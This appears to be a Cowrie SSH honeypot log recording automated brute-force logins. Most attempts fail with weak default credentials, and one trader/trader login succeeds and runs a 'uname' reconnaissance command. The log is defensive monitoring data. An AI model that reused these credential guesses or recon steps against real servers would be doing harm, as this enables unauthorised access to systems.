{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:24.488123Z","src_ip":"5.196.136.131","session":"d8cc391fd8c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:24.596742Z","src_ip":"78.90.19.40","session":"277b140418d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:24.722339Z","src_ip":"5.196.136.131","session":"d8cc391fd8c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:25.803114Z","src_ip":"5.196.136.131","session":"d8cc391fd8c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":29030,"dst_ip":"10.17.0.5","dst_port":22,"session":"03b481c349fe","protocol":"ssh","message":"New connection: 5.196.136.131:29030 (10.17.0.5:22) [session: 03b481c349fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:28.780214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:28.783712Z","src_ip":"5.196.136.131","session":"03b481c349fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:28.870538Z","src_ip":"5.196.136.131","session":"03b481c349fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:29.111646Z","src_ip":"5.196.136.131","session":"03b481c349fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:30.189616Z","src_ip":"5.196.136.131","session":"03b481c349fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":18121,"dst_ip":"10.17.0.5","dst_port":22,"session":"b43dc25752b7","protocol":"ssh","message":"New connection: 5.196.136.131:18121 (10.17.0.5:22) [session: b43dc25752b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:33.219427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:33.222867Z","src_ip":"5.196.136.131","session":"b43dc25752b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:33.304119Z","src_ip":"5.196.136.131","session":"b43dc25752b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:33.548499Z","src_ip":"5.196.136.131","session":"b43dc25752b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:34.632513Z","src_ip":"5.196.136.131","session":"b43dc25752b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":30413,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d0bc849a89b","protocol":"ssh","message":"New connection: 5.196.136.131:30413 (10.17.0.5:22) [session: 6d0bc849a89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:37.719143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:37.722486Z","src_ip":"5.196.136.131","session":"6d0bc849a89b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:37.804192Z","src_ip":"5.196.136.131","session":"6d0bc849a89b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:38.049994Z","src_ip":"5.196.136.131","session":"6d0bc849a89b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:38.254942Z","src_ip":"5.196.136.131","session":"6d0bc849a89b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:38.257401Z","src_ip":"5.196.136.131","session":"6d0bc849a89b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:38.341569Z","src_ip":"5.196.136.131","session":"6d0bc849a89b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:38.345162Z","src_ip":"5.196.136.131","session":"6d0bc849a89b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":49607,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0357a6cb093","protocol":"ssh","message":"New connection: 5.196.136.131:49607 (10.17.0.5:22) [session: a0357a6cb093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:42.145805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:42.149696Z","src_ip":"5.196.136.131","session":"a0357a6cb093","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:42.226233Z","src_ip":"5.196.136.131","session":"a0357a6cb093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:42.459161Z","src_ip":"5.196.136.131","session":"a0357a6cb093","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:43.538539Z","src_ip":"5.196.136.131","session":"a0357a6cb093","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":41944,"dst_ip":"10.17.0.5","dst_port":22,"session":"47830bf4faf4","protocol":"ssh","message":"New connection: 5.196.136.131:41944 (10.17.0.5:22) [session: 47830bf4faf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:46.524523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:46.527955Z","src_ip":"5.196.136.131","session":"47830bf4faf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:46.604072Z","src_ip":"5.196.136.131","session":"47830bf4faf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:46.848710Z","src_ip":"5.196.136.131","session":"47830bf4faf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:47.927633Z","src_ip":"5.196.136.131","session":"47830bf4faf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.192.132.34","src_port":51440,"dst_ip":"10.17.0.5","dst_port":22,"session":"d41fcdbdac38","protocol":"ssh","message":"New connection: 159.192.132.34:51440 (10.17.0.5:22) [session: d41fcdbdac38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:49.232338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:49.236302Z","src_ip":"159.192.132.34","session":"d41fcdbdac38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:49.506515Z","src_ip":"159.192.132.34","session":"d41fcdbdac38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2025#","message":"login attempt [root/unitedstates2025#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:50.316767Z","src_ip":"159.192.132.34","session":"d41fcdbdac38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":35143,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7898a2bc4f0","protocol":"ssh","message":"New connection: 5.196.136.131:35143 (10.17.0.5:22) [session: d7898a2bc4f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:51.020287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:51.023509Z","src_ip":"5.196.136.131","session":"d7898a2bc4f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:51.100627Z","src_ip":"5.196.136.131","session":"d7898a2bc4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:51.329050Z","src_ip":"5.196.136.131","session":"d7898a2bc4f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:51.588688Z","src_ip":"159.192.132.34","session":"d41fcdbdac38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:52.407970Z","src_ip":"5.196.136.131","session":"d7898a2bc4f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":47252,"dst_ip":"159.203.135.109","dst_port":22,"session":"b36f39e514d3","protocol":"ssh","message":"New connection: 139.19.117.129:47252 (159.203.135.109:22) [session: b36f39e514d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:52.617634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:52.621433Z","src_ip":"139.19.117.129","session":"b36f39e514d3","protocol":"ssh"}
